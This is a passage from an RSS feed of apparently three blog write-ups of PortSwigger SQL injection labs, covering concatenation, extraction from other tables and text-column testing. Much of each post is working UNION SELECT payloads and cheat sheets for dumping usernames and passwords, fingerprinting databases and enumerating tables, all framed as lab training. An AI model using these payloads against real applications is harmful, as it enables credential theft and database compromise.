injection confirmed ✅</p><h3>Step 2: Determine Column Count</h3><p><strong>Action:</strong> Use ORDER BY to find the number of columns</p><p><strong>Payloads:</strong></p><pre>&#39; ORDER BY 1--  ← Success<br>&#39; ORDER BY 2--  ← Success  <br>&#39; ORDER BY 3--  ← Error → 2 columns exist</pre><p><em>Result:</em> <strong>2 columns confirmed</strong></p><p><em>Observation:</em></p><ul><li>Column 1: Not displayed on page (likely ID)</li><li>Column 2: Displayed on page (product name/description)</li></ul><h3>Step 3: Identify Text-Compatible Columns</h3><p><strong>Action:</strong> Test which column accepts strings</p><p><em>Why:</em> We need a text column to display usernames/passwords.</p><p><strong>Test Column 1:</strong></p><pre>&#39; UNION SELECT &#39;test&#39;,NULL--</pre><p><em>Result:</em> <strong>Error</strong> → Column 1 doesn’t accept text (probably INT)</p><p><strong>Test Column 2:</strong></p><pre>&#39; UNION SELECT NULL,&#39;test&#39;--</pre><p><em>Result:</em> <strong>200 OK</strong> + “test” appears → Column 2 accepts text ✅</p><p><strong>Conclusion:</strong> Only 1 text column available (Column 2)</p><h3>Step 4: Identify the Database Type</h3><p><strong>Action:</strong> Determine which database is running</p><p><em>Why:</em> Each database uses different concatenation syntax.</p><p><strong>Test PostgreSQL:</strong></p><pre>&#39; UNION SELECT NULL,version()--</pre><p><em>Result:</em> <strong>200 OK</strong> + displays version info:</p><pre>PostgreSQL 12.3 on x86_64-pc-linux-gnu, compiled by gcc</pre><p><strong>Database confirmed:</strong> PostgreSQL ✅</p><p><em>Why this matters:</em> Now we know to use PostgreSQL’s || operator for concatenation.</p><h3>Step 5: Extract Usernames Only (First Attempt)</h3><p><strong>Action:</strong> Pull just usernames to verify table access</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT NULL,username FROM users--</pre><p><em>Result:</em> Displays usernames:</p><ul><li>administrator</li><li>carlos</li><li>wiener</li></ul><p><em>Problem:</em> We only see usernames, not passwords. We need both in one query!</p><h3>Step 6: Concatenate Username + Password</h3><p><strong>Action:</strong> Combine both columns into a single string using PostgreSQL syntax</p><p><strong>Payload (without delimiter):</strong></p><pre>&#39; UNION SELECT NULL,username||password FROM users--</pre><p><em>Result:</em> Displays combined but unreadable:</p><pre>administratorxJ8k2mP9qL<br>carlosx9nQ5pR2kM</pre><p><em>Problem:</em> Can’t tell where username ends and password begins!</p><h3>Step 7: Add Delimiter for Clarity</h3><p><strong>Action:</strong> Insert a separator character between username and password</p><p><strong>Payload (with delimiter):</strong></p><pre>&#39; UNION SELECT NULL,username||&#39;~&#39;||password FROM users--</pre><p><em>Breakdown:</em></p><ul><li>username = First value to concatenate</li><li>|| = PostgreSQL concatenation operator (like + in other languages)</li><li>&#39;~&#39; = Delimiter character (can be any character: *, -, |, :)</li><li>|| = Another concatenation operator</li><li>password = Second value to concatenate</li></ul><p><em>Result:</em> Clean, readable output:</p><pre>administrator~xJ8k2mP9qL<br>carlos~x9nQ5pR2kM<br>wiener~y3tK8sL5pN</pre><p>Now you can clearly see:</p><ul><li><strong>Before </strong><strong>~</strong> = username</li><li><strong>After </strong><strong>~</strong> = password</li></ul><h3>Step 8: Login as Administrator</h3><p><strong>Action:</strong> Use the extracted credentials</p><ol><li>Copy administrator’s password: xJ8k2mP9qL</li><li>Navigate to /login</li><li>Enter:</li></ol><ul><li><strong>Username:</strong> administrator</li><li><strong>Password:</strong> xJ8k2mP9qL</li></ul><ol><li>Click Login</li></ol><p><strong>Lab solved. ✅</strong></p><h3>🧠 Key Takeaways</h3><ol><li><strong>String concatenation solves the “multiple values, one column” problem</strong></li><li><strong>Database matters</strong> → Each database has different concatenation syntax</li><li><strong>Delimiters are essential</strong> → Use ~, *, |, or : to separate values</li><li><strong>Version fingerprinting first</strong> → Identify database before concatenating</li><li><strong>One text column is enough</strong> → Concatenation lets you extract unlimited data</li></ol><h3>🎯 Database-Specific Concatenation Syntax</h3><p>Different databases = different operators:</p><p><strong>Oracle:</strong></p><pre>&#39; UNION SELECT NULL,username||&#39;~&#39;||password FROM users--</pre><p><strong>Microsoft SQL Server:</strong></p><pre>&#39; UNION SELECT NULL,username+&#39;~&#39;+password FROM users--</pre><p><strong>MySQL:</strong></p><pre>&#39; UNION SELECT NULL,CONCAT(username,&#39;~&#39;,password) FROM users--</pre><p><strong>PostgreSQL:</strong></p><pre>&#39; UNION SELECT NULL,username||&#39;~&#39;||password FROM users--</pre><p><strong>How to fingerprint the database:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*UL6NDLZbbpNvQxyZ4jDe4g.png" /></figure><h3>🛠️ Burp Suite Workflow</h3><ol><li>Intercept category filter request</li><li>Send to Repeater (Ctrl+R)</li><li>Find column count with ORDER BY</li><li>Test text columns with &#39;test&#39;</li><li>Fingerprint database with version()</li><li>Concatenate with appropriate syntax</li><li>URL-encode (Ctrl+U) and send</li><li>Extract credentials from response</li></ol><h3>📌 Quick Reference Card</h3><h3>Attack Flow Summary</h3><pre>1. Test Injection<br>   Lifestyle&#39;  →  500 Error = Vulnerable ✓</pre><pre>2. Find Column Count<br>   &#39; ORDER BY 1--  →  Success<br>   &#39; ORDER BY 2--  →  Success<br>   &#39; ORDER BY 3--  →  Error = 2 columns</pre><pre>3. Find Text Column<br>   &#39; UNION SELECT &#39;a&#39;,NULL--  →  Error = Column 1 not text<br>   &#39; UNION SELECT NULL,&#39;a&#39;--  →  Success = Column 2 text ✓</pre><pre>4. Identify Database<br>   &#39; UNION SELECT NULL,version()--  →  PostgreSQL 12.3</pre><pre>5. Extract with Concatenation<br>   &#39; UNION SELECT NULL,username||&#39;~&#39;||password FROM users--<br>   <br>6. Parse Results<br>   administrator~xJ8k2mP9qL<br>   └────┬────┘  └─────┬─────┘<br>    username      password</pre><h3>Concatenation Operators by Database</h3><pre>PostgreSQL:  ||              (double pipe)<br>Oracle:      ||              (double pipe)<br>MySQL:       CONCAT()        (function)<br>MS SQL:      +               (plus sign)</pre><pre>Example patterns:<br>PostgreSQL:  username||&#39;~&#39;||password<br>Oracle:      username||&#39;~&#39;||password<br>MySQL:       CONCAT(username,&#39;~&#39;,password)<br>MS SQL:      username+&#39;~&#39;+password</pre><h3>Database Fingerprinting Commands</h3><pre>PostgreSQL:  &#39; UNION SELECT NULL,version()--<br>MySQL:       &#39; UNION SELECT NULL,@@version--<br>MS SQL:      &#39; UNION SELECT NULL,@@version--<br>Oracle:      &#39; UNION SELECT NULL,banner FROM v$version--</pre><pre>Success = 200 OK + version info displayed<br>Failure = 500 Error (try next database)</pre><h3>Common Delimiter Characters</h3><pre>~  (tilde)       →  admin~password<br>*  (asterisk)    →  admin*password<br>|  (pipe)        →  admin|password<br>:  (colon)       →  admin:password<br>-  (hyphen)      →  admin-password<br>_  (underscore)  →  admin_password</pre><pre>Choose any character that won&#39;t appear in usernames/passwords<br>Avoid: letters, numbers, @, . (common in credentials)</pre><h3>Troubleshooting Guide</h3><pre>Problem: Can&#39;t tell username from password<br>Solution: Add delimiter → username||&#39;~&#39;||password</pre><pre>Problem: Concatenation not working<br>Solution: Wrong database syntax, fingerprint first</pre><pre>Problem: 500 Error on concatenation<br>Solution: Check column count matches (NULL + concatenated_string)</pre><pre>Problem: No data displayed<br>Solution: Column not visible on page, try different column</pre><pre>Problem: Syntax error<br>Solution: Missing quotes around delimiter → &#39;~&#39; not ~</pre><h3>Real-World Column Constraints</h3><pre>Scenario 1: 3 columns, only middle one is text<br>&#39; UNION SELECT NULL,username||&#39;~&#39;||password,NULL FROM users--</pre><pre>Scenario 2: 2 columns, first one is text<br>&#39; UNION SELECT username||&#39;~&#39;||password,NULL FROM users--</pre><pre>Scenario 3: Multiple columns, last one is text<br>&#39; UNION SELECT NULL,NULL,username||&#39;~&#39;||password FROM users--</pre><pre>Rule: Place concatenated string in the text-compatible column position</pre><h3>Pro Tips</h3><pre>✓ Always fingerprint database first (saves trial-and-error)<br>✓ Use recognizable delimiters (~, *, |) not letters/numbers<br>✓ Test concatenation with known data first (&#39;test&#39;||&#39;~&#39;||&#39;data&#39;)<br>✓ Document which column position accepts text (Column 2 in this lab)<br>✓ You can concatenate 3+ values: user||&#39;~&#39;||pass||&#39;~&#39;||email<br>✓ Some databases support CONCAT() for all types (more flexible)</pre><h3>Advanced Concatenation</h3><pre>Multiple columns from same table:<br>username||&#39;~&#39;||password||&#39;~&#39;||email</pre><pre>Adding labels for clarity:<br>&#39;User:&#39;||username||&#39;~Pass:&#39;||password</pre><pre>Multiple rows displayed as one:<br>GROUP_CONCAT(username,&#39;:&#39;,password) in MySQL<br>STRING_AGG(username||&#39;:&#39;||password,&#39;,&#39;) in PostgreSQL</pre><h3>Error Messages Decoder</h3><pre>&quot;syntax error near ||&quot;        →  Wrong database (try MS SQL&#39;s +)<br>&quot;function concat not found&quot;   →  Wrong database (try PostgreSQL&#39;s ||)<br>&quot;column count mismatch&quot;       →  Missing NULL placeholders<br>&quot;no data displayed&quot;           →  Column not visible on page<br>&quot;version() not recognized&quot;    →  Not PostgreSQL (try @@version)</pre><h3>⚠️ Common Mistakes</h3><p><strong>Mistake 1: Forgetting delimiters</strong></p><pre>❌ &#39; UNION SELECT NULL,username||password FROM users--<br>   Result: &quot;adminpassword123&quot; (can&#39;t parse)</pre><pre>✅ &#39; UNION SELECT NULL,username||&#39;~&#39;||password FROM users--<br>   Result: &quot;admin~password123&quot; (clearly separated)</pre><p><strong>Mistake 2: Wrong concatenation operator</strong></p><pre>❌ &#39; UNION SELECT NULL,username+&#39;~&#39;+password FROM users--<br>   (Using MS SQL syntax on PostgreSQL)</pre><pre>✅ &#39; UNION SELECT NULL,username||&#39;~&#39;||password FROM users--<br>   (Correct PostgreSQL syntax)</pre><p><strong>Mistake 3: Missing quotes around delimiter</strong></p><pre>❌ &#39; UNION SELECT NULL,username||~||password FROM users--<br>   (Treats ~ as column name)</pre><pre>✅ &#39; UNION SELECT NULL,username||&#39;~&#39;||password FROM users--<br>   (Treats ~ as string literal)</pre><p><strong>Mistake 4: Wrong column position</strong></p><pre>❌ &#39; UNION SELECT username||password,NULL FROM users--<br>   (Column 1 doesn&#39;t accept text)</pre><pre>✅ &#39; UNION SELECT NULL,username||password FROM users--<br>   (Column 2 accepts text)</pre><h3>🔬 Understanding the Output</h3><p><strong>What you see on the page:</strong></p><pre>Product: administrator~xJ8k2mP9qL<br>Product: carlos~x9nQ5pR2kM<br>Product: wiener~y3tK8sL5pN</pre><p><strong>How to parse it:</strong></p><pre>administrator~xJ8k2mP9qL<br>└────┬────┘ └─────┬─────┘<br>  username     password</pre><pre>Split on delimiter (~):<br>- Everything before ~ = username<br>- Everything after ~ = password</pre><p><strong>Why this works:</strong> The app expects product names, but you’ve injected concatenated user credentials. The database combines username and password into a single string, which the app displays as if it were a product name.</p><h3>🎓 When to Use This Technique</h3><p><strong>Use single-column concatenation when:</strong></p><ul><li>✅ Only 1 column accepts text data</li><li>✅ You need to extract multiple fields</li><li>✅ UNION requires matching column count</li><li>✅ You want all data in one query (not multiple requests)</li></ul><p><strong>Don’t need concatenation when:</strong></p><ul><li>❌ Multiple columns accept text (use separate columns)</li><li>❌ You only need one field (username OR password)</li><li>❌ Using error-based or blind injection (different techniques)</li></ul><p><em>Remember:</em> String concatenation is a powerful technique that lets you bypass the “one text column” limitation. Master the database-specific operators (||, +, CONCAT) and always use delimiters for clean, parseable output.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=411fdb4f912e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection: Extracting Data from Other Tables]]></title>
            <link>https://medium.com/@cipher0x00/sql-injection-extracting-data-from-other-tables-f1fbfae05dd1?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1fbfae05dd1</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Sat, 11 Oct 2025 15:32:02 GMT</pubDate>
            <atom:updated>2025-10-11T15:32:02.267Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>🎯 Goal</h3><p>Combine all previous techniques to extract usernames and passwords from a users table, then login as administrator.</p><h3>💡 The Flaw</h3><p>The application doesn’t sanitize the category parameter, allowing us to append UNION SELECT queries that pull data from <strong>any table in the database</strong> - not just the products table.</p><p><strong>The original query (what the app wants):</strong></p><pre>SELECT title, description FROM products WHERE category=&#39;Accessories&#39; AND released=1</pre><p><strong>Our injected query (what we force it to run):</strong></p><pre>SELECT title, description FROM products WHERE category=&#39;Accessories&#39; <br>UNION SELECT username, password FROM users--</pre><p>The app displays product data, but our UNION makes it <strong>also display user credentials</strong>.</p><h3>🔍 The Attack Chain</h3><p>This lab combines <strong>all previous techniques</strong>:</p><ol><li>✅ Test for SQL injection (error-based detection)</li><li>✅ Find column count (NULL method)</li><li>✅ Identify text-compatible columns (string testing)</li><li>✅ <strong>NEW:</strong> Extract data from target table (UNION SELECT)</li></ol><h3>⚔️ Exploitation Flow</h3><h3>Step 1: Confirm SQL Injection Exists</h3><p><strong>Action:</strong> Test with a single quote to break the query</p><p><strong>Payload:</strong></p><pre>Accessories&#39;</pre><p><em>What happens:</em></p><pre>-- Backend query becomes:<br>SELECT * FROM products WHERE category=&#39;Accessories&#39;&#39; AND released=1<br>                                                    ^^<br>                                            Two quotes = syntax error</pre><p><em>Result:</em> <strong>500 Internal Server Error</strong> → SQL injection confirmed ✅</p><p><em>Why this works:</em> The single quote closes the string prematurely, causing a syntax error that crashes the query.</p><h3>Step 2: Determine Column Count</h3><p><strong>Action:</strong> Use NULL injection to find how many columns exist</p><p><strong>Payloads:</strong></p><pre>&#39; UNION SELECT NULL--           ← Error (1 column ≠ original query)<br>&#39; UNION SELECT NULL,NULL--      ← Success! (2 columns match)</pre><p><em>What happens:</em></p><ul><li>Original query returns 2 columns: title and description</li><li>Our UNION must also return 2 columns to avoid errors</li><li>NULL,NULL matches the column count → <strong>200 OK</strong></li></ul><p><em>Result:</em> <strong>2 columns confirmed</strong></p><h3>Step 3: Test Column Data Types</h3><p><strong>Action:</strong> Identify which columns accept strings</p><p><em>Why:</em> We need text-compatible columns to extract usernames/passwords (both strings).</p><p><strong>Test Column 1 with a number:</strong></p><pre>&#39; UNION SELECT 1,NULL--</pre><p><em>Result:</em> <strong>Error</strong> → Column 1 is NOT an integer</p><p><strong>Test Column 1 with a string:</strong></p><pre>&#39; UNION SELECT &#39;test&#39;,NULL--</pre><p><em>Result:</em> <strong>200 OK</strong> + “test” appears on page → Column 1 accepts strings ✅</p><p><strong>Test Column 2 with a string:</strong></p><pre>&#39; UNION SELECT &#39;test&#39;,&#39;test2&#39;--</pre><p><em>Result:</em> <strong>200 OK</strong> + both strings appear → Column 2 also accepts strings ✅</p><p><strong>Conclusion:</strong> Both columns are VARCHAR/TEXT type → Perfect for extracting usernames and passwords!</p><h3>Step 4: Extract Data from Users Table</h3><p><strong>Action:</strong> Replace test strings with actual column names from the users table</p><p><em>Why:</em> Now that we know the structure (2 text columns), we can pull data from ANY table with 2 text columns.</p><p><strong>Final payload:</strong></p><pre>&#39; UNION SELECT username,password FROM users--</pre><p><em>Breakdown:</em></p><ul><li>&#39; = Closes the original category string</li><li>UNION SELECT = Combines results with a second query</li><li>username,password = Columns we want from the users table (2 columns, both text)</li><li>FROM users = Target table containing credentials</li><li>-- = Comments out AND released=1 from the original query</li></ul><p><em>What the database executes:</em></p><pre>SELECT title, description FROM products WHERE category=&#39;&#39;<br>UNION <br>SELECT username, password FROM users--&#39; AND released=1</pre><p><em>Result:</em> Page displays:</p><ul><li>Original product results (might be empty because category=’’)</li><li><strong>PLUS</strong> all usernames and passwords from the users table:</li><li>administrator | [password]</li><li>carlos | [password]</li><li>wiener | [password]</li></ul><h3>Step 5: Login as Administrator</h3><p><strong>Action:</strong> Use extracted credentials</p><ol><li>Copy the administrator’s password</li><li>Navigate to /login</li><li>Enter:</li></ol><ul><li><strong>Username:</strong> administrator</li><li><strong>Password:</strong> [extracted password]</li></ul><ol><li>Click Login</li></ol><p><strong>Lab solved. ✅</strong></p><h3>🧠 Key Takeaways</h3><ol><li><strong>UNION attacks combine multiple queries</strong> → Original query + Your injected query</li><li><strong>Column matching is critical:</strong></li></ol><ul><li>Count must match: 2 columns = 2 columns</li><li>Types must be compatible: text = text</li></ul><ol><li><strong>The </strong><strong>-- comment is essential</strong> → Neutralizes the rest of the original query</li><li><strong>Any table is vulnerable</strong> → Once you control UNION, you can query ANY table</li><li><strong>Real-world caveat:</strong> You need to guess table/column names (or enumerate them)</li></ol><h3>🎯 Why This Attack Works</h3><p><strong>The Magic of UNION:</strong></p><pre>Original Query Results:<br>┌─────────────┬──────────────┐<br>│ Title       │ Description  │<br>├─────────────┼──────────────┤<br>│ Widget      │ Cool product │<br>│ Gadget      │ Nice item    │<br>└─────────────┴──────────────┘</pre><pre>        +  UNION  +</pre><pre>Your Injected Query Results:<br>┌─────────────┬──────────────┐<br>│ Username    │ Password     │<br>├─────────────┼──────────────┤<br>│ admin       │ s3cr3t       │<br>│ carlos      │ pass123      │<br>└─────────────┴──────────────┘</pre><pre>        =  Combined Result  =</pre><pre>Application Displays:<br>┌─────────────┬──────────────┐<br>│ Widget      │ Cool product │<br>│ Gadget      │ Nice item    │<br>│ admin       │ s3cr3t       │  ← Your injected data!<br>│ carlos      │ pass123      │  ← Your injected data!<br>└─────────────┴──────────────┘</pre><p>The application thinks it’s showing product data, but <strong>you’ve tricked it into showing user credentials</strong>!</p><h3>🛠️ Burp Suite Workflow</h3><ol><li>Intercept category filter request</li><li>Send to Repeater (Ctrl+R)</li><li>Test for SQL injection with &#39;</li><li>Find column count with NULL,NULL</li><li>Test data types with &#39;test&#39;,&#39;test2&#39;</li><li>Extract data with username,password FROM users</li><li>URL-encode (Ctrl+U) and send</li><li>Copy administrator password from response</li></ol><h3>📌 Quick Reference Card</h3><h3>Full Attack Flow</h3><pre>1. Test Injection<br>   Accessories&#39;  →  500 Error = Vulnerable ✓</pre><pre>2. Find Column Count<br>   &#39; UNION SELECT NULL--           →  Error<br>   &#39; UNION SELECT NULL,NULL--      →  Success = 2 columns</pre><pre>3. Test Data Types<br>   &#39; UNION SELECT &#39;a&#39;,NULL--       →  Success = Column 1 text<br>   &#39; UNION SELECT &#39;a&#39;,&#39;b&#39;--        →  Success = Column 2 text</pre><pre>4. Extract Data<br>   &#39; UNION SELECT username,password FROM users--  →  Credentials!</pre><pre>5. Login<br>   Use administrator password from response</pre><h3>SQL Injection Syntax Breakdown</h3><pre>&#39; UNION SELECT username,password FROM users--<br>│ │            │                  │          │<br>│ │            │                  │          └─ Comment out rest of query<br>│ │            │                  └─ Target table<br>│ │            └─ Columns you want (match count &amp; type)<br>│ └─ Combine queries<br>└─ Close original string</pre><h3>Common Tables to Target</h3><pre>users          → username, password, email<br>administrators → admin_name, admin_pass<br>accounts       → account_name, account_password<br>members        → member_id, member_password<br>login          → login_name, login_password</pre><h3>Column Name Guessing (Common Patterns)</h3><pre>Usernames:     username, user, login, email, user_name<br>Passwords:     password, pass, pwd, passwd, user_pass<br>IDs:           id, user_id, account_id<br>Emails:        email, email_address, user_email</pre><h3>Error Response Decoder</h3><pre>500 + &quot;syntax error&quot;          →  SQL injection vulnerable ✓<br>500 + &quot;column count mismatch&quot; →  Wrong number of columns<br>500 + &quot;data type mismatch&quot;    →  Wrong data types<br>200 + credentials visible     →  Extraction successful! ✓<br>200 + no data                 →  Table/columns don&#39;t exist</pre><h3>Pro Tips</h3><pre>✓ Always URL-encode in Burp (Ctrl+U)<br>✓ Use &#39;--&#39; to comment (MySQL/PostgreSQL) or &#39;#&#39; (MySQL only)<br>✓ Start with common table names (users, admin, accounts)<br>✓ If table doesn&#39;t exist, enumerate with information_schema<br>✓ Remember: Column count AND data types must match</pre><h3>Real-World Considerations</h3><pre>In this lab: We knew table=&#39;users&#39;, columns=&#39;username&#39;,&#39;password&#39;<br>In real apps: You need to guess OR enumerate:<br>  <br>Step 1: Find tables<br>  &#39; UNION SELECT table_name,NULL FROM information_schema.tables--</pre><pre>Step 2: Find columns  <br>  &#39; UNION SELECT column_name,NULL FROM information_schema.columns <br>    WHERE table_name=&#39;users&#39;--</pre><pre>Step 3: Extract data<br>  &#39; UNION SELECT [column1],[column2] FROM [table]--</pre><h3>⚠️ Common Mistakes</h3><p><strong>Mistake 1: Wrong column count</strong></p><pre>❌ &#39; UNION SELECT username FROM users--  (1 column, but query needs 2)<br>✅ &#39; UNION SELECT username,password FROM users--  (2 columns match)</pre><p><strong>Mistake 2: Forgetting the comment</strong></p><pre>❌ &#39; UNION SELECT username,password FROM users<br>   ↑ Original query continues, causes syntax error</pre><pre>✅ &#39; UNION SELECT username,password FROM users--<br>   ↑ Everything after -- is commented out</pre><p><strong>Mistake 3: Wrong data types</strong></p><pre>❌ &#39; UNION SELECT id,username FROM users--  (id=INT, but column expects TEXT)<br>✅ &#39; UNION SELECT username,password FROM users--  (both TEXT)</pre><p><strong>Mistake 4: Guessing wrong table/column names</strong></p><pre>❌ &#39; UNION SELECT user,pass FROM accounts--  (table/columns don&#39;t exist)<br>✅ &#39; UNION SELECT username,password FROM users--  (correct names)</pre><pre>If unsure, enumerate first:<br>&#39; UNION SELECT table_name,NULL FROM information_schema.tables--</pre><h3>🔬 Understanding the Response</h3><p><strong>When you see this in the page:</strong></p><pre>Product: administrator<br>Description: xJ8k2mP9qL</pre><pre>Product: carlos  <br>Description: x9nQ5pR2kM</pre><pre>Product: wiener<br>Description: y3tK8sL5pN</pre><p><strong>It means:</strong></p><ul><li>The app is displaying username in the “Product” field</li><li>The app is displaying password in the “Description” field</li><li>Your UNION injection worked perfectly! ✅</li></ul><p><strong>Why?</strong> The app expects product data but is now showing user data in the same format.</p><h3>🎓 The Complete Picture</h3><p>This lab ties together everything:</p><ul><li><strong>Lab 1:</strong> Learned column count detection → ✅ Used NULL, NULL</li><li><strong>Lab 2:</strong> Practiced text column identification → ✅ Tested with &#39;test&#39;, &#39;test2&#39;</li><li><strong>Lab 3:</strong> Mastered UNION syntax → ✅ Combined queries</li><li><strong>This Lab:</strong> Applied everything for data extraction → ✅ Retrieved credentials</li></ul><p><strong>Next level:</strong> Blind SQL injection (when data isn’t displayed directly)</p><p><em>Remember:</em> UNION attacks are the gateway to complete database compromise. Once you control the UNION clause, you can extract ANY data from ANY table the database user has access to. This is why input sanitization is critical.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1fbfae05dd1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection: Finding Text-Compatible Columns]]></title>
            <link>https://medium.com/@cipher0x00/sql-injection-finding-text-compatible-columns-5a76aee01f92?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a76aee01f92</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Sat, 11 Oct 2025 15:32:02 GMT</pubDate>
            <atom:updated>2025-10-11T15:32:02.166Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>🎯 Goal</h3><p>Identify which columns in a vulnerable query accept string data, enabling you to extract text-based information (like usernames/passwords) through UNION attacks.</p><h3>💡 The Flaw</h3><p>UNION requires <strong>compatible data types</strong> between queries. You can’t inject text into an integer column or vice versa. We use string literals to test each column, triggering errors on incompatible types.</p><p><strong>Why this matters:</strong></p><pre>-- Original query<br>SELECT id, product_name, price FROM products WHERE category=&#39;Gifts&#39;<br>-- Column types: INT, VARCHAR, DECIMAL</pre><pre>-- This will fail (trying to put string in INT column):<br>&#39; UNION SELECT &#39;text&#39;, &#39;text&#39;, &#39;text&#39;--</pre><pre>-- This works (respecting data types):<br>&#39; UNION SELECT NULL, &#39;text&#39;, NULL--</pre><h3>🔍 The Two-Step Process</h3><p><strong>Step 1:</strong> Determine column count (covered in previous lab)<br> <strong>Step 2:</strong> Test each column for string compatibility ← <strong>This lab</strong></p><h3>⚔️ Exploitation Flow</h3><h3>Step 1: Find Column Count (Quick Recap)</h3><p><strong>Action:</strong> Use ORDER BY to identify the number of columns</p><p><strong>Payload:</strong></p><pre>&#39; ORDER BY 1--  ← Success<br>&#39; ORDER BY 2--  ← Success<br>&#39; ORDER BY 3--  ← Success<br>&#39; ORDER BY 4--  ← Error → 3 columns exist</pre><p><em>Result:</em> 3 columns confirmed</p><p><strong>Important observation:</strong></p><ul><li>Column 1: ID (not visible on page)</li><li>Column 2: Product name (visible)</li><li>Column 3: Price (visible)</li></ul><p><em>Why this matters:</em> Hidden columns won’t display injected data, making them useless for extraction.</p><h3>Step 2: Test Each Column for String Compatibility</h3><p><strong>Action:</strong> Replace each NULL with a test string iteratively</p><p><em>Why:</em> We need to find which columns accept text data to extract usernames/passwords later.</p><p><strong>Base payload (all NULLs):</strong></p><pre>&#39; UNION SELECT NULL,NULL,NULL--</pre><p><strong>Test Column 1:</strong></p><pre>&#39; UNION SELECT &#39;test&#39;,NULL,NULL--</pre><p><em>Result:</em> <strong>Error</strong> (likely INT type for ID field)<br> <em>Why:</em> Can’t put text in an integer column<br> <em>Conclusion:</em> Column 1 = NOT string-compatible ❌</p><p><strong>Test Column 2:</strong></p><pre>&#39; UNION SELECT NULL,&#39;test&#39;,NULL--</pre><p><em>Result:</em> <strong>200 OK</strong> + “test” appears on page<br> <em>Why:</em> Product name column is VARCHAR/TEXT type<br> <em>Conclusion:</em> Column 2 = String-compatible ✅</p><p><strong>Test Column 3:</strong></p><pre>&#39; UNION SELECT NULL,&#39;test&#39;,&#39;test&#39;--</pre><p><em>Result:</em> <strong>Error</strong> (trying to inject text into price column)<br> <em>Why:</em> Price column is DECIMAL/FLOAT type<br> <em>Conclusion:</em> Column 3 = NOT string-compatible ❌</p><h3>Step 3: Inject the Lab’s Random Value</h3><p><strong>Action:</strong> Use the text-compatible column to display the required string</p><p><em>Why:</em> The lab provides a random string (e.g., &#39;hG7K9m&#39;) that you must make appear in the response.</p><p><strong>Final payload:</strong></p><pre>&#39; UNION SELECT NULL,&#39;hG7K9m&#39;,NULL--</pre><p><em>What happens:</em></p><ul><li>NULL in column 1 (ID) → No conflict with INT type</li><li>&#39;hG7K9m&#39; in column 2 → Displays on page (product name area)</li><li>NULL in column 3 (price) → No conflict with DECIMAL type</li></ul><p><strong>Lab solved. ✅</strong></p><h3>🧠 Key Takeaways</h3><ol><li><strong>Column count ≠ usable columns</strong> → Some columns may be hidden or incompatible</li><li><strong>Test systematically</strong> → Replace NULLs one at a time to isolate errors</li><li><strong>NULL is type-agnostic</strong> → Works with INT, VARCHAR, DECIMAL, etc.</li><li><strong>String injection only works in text columns</strong> → VARCHAR, TEXT, CHAR types</li><li><strong>Hidden columns are useless</strong> → Even if compatible, they won’t display your data</li></ol><h3>🎯 Why This Attack Works</h3><p><strong>The Logic:</strong></p><pre>1. NULL passes any data type check (universal compatibility)<br>2. Replace NULL with &#39;string&#39; in each position<br>3. If error → column doesn&#39;t accept strings<br>4. If success → column accepts strings (use for data extraction)</pre><p><strong>Real-world application:</strong> Once you know Column 2 accepts strings, you can extract sensitive data:</p><pre>&#39; UNION SELECT NULL,username,NULL FROM users--<br>&#39; UNION SELECT NULL,password,NULL FROM users--<br>&#39; UNION SELECT NULL,email,NULL FROM users--</pre><h3>🛠️ Burp Suite Workflow</h3><ol><li>Intercept category filter request</li><li>Send to Repeater (Ctrl+R)</li><li>Test column count with ORDER BY</li><li>Test each column with string literals</li><li>URL-encode payload (Ctrl+U)</li><li>Send and check response</li></ol><h3>📌 Quick Reference Card</h3><h3>Column Type Testing Process</h3><pre>Step 1: Confirm column count<br>&#39; ORDER BY 1--  (Success)<br>&#39; ORDER BY 2--  (Success)<br>&#39; ORDER BY 3--  (Success)<br>&#39; ORDER BY 4--  (Error → 3 columns)</pre><pre>Step 2: Test each column with a string<br>&#39; UNION SELECT &#39;test&#39;,NULL,NULL--     → Error = Column 1 not text<br>&#39; UNION SELECT NULL,&#39;test&#39;,NULL--     → Success = Column 2 is text ✓<br>&#39; UNION SELECT NULL,NULL,&#39;test&#39;--     → Error = Column 3 not text</pre><h3>Common Column Data Types</h3><pre>INT/INTEGER     → IDs, counts, quantities (NOT string-compatible)<br>VARCHAR/TEXT    → Names, descriptions, emails (STRING-compatible) ✓<br>DECIMAL/FLOAT   → Prices, percentages (NOT string-compatible)<br>DATE/DATETIME   → Timestamps (NOT string-compatible)<br>BOOLEAN         → True/false flags (NOT string-compatible)</pre><h3>Error Response Guide</h3><pre>500 Error + &quot;data type mismatch&quot;  → Wrong data type, try next column<br>200 OK + injected text visible    → Column accepts strings! ✓<br>200 OK + no visible output        → Column hidden or wrong position</pre><h3>Testing Shortcuts</h3><pre>Quick test all at once:<br>&#39; UNION SELECT &#39;a&#39;,&#39;b&#39;,&#39;c&#39;--</pre><pre>Watch for errors:<br>- No error + &#39;a&#39;,&#39;b&#39;,&#39;c&#39; visible → All columns are text (rare)<br>- Error → Some columns aren&#39;t text (common)<br>- Then test individually to isolate</pre><h3>Pro Tips</h3><pre>✓ Start with columns that display on the page (visible = useful)<br>✓ Hidden columns (like ID) 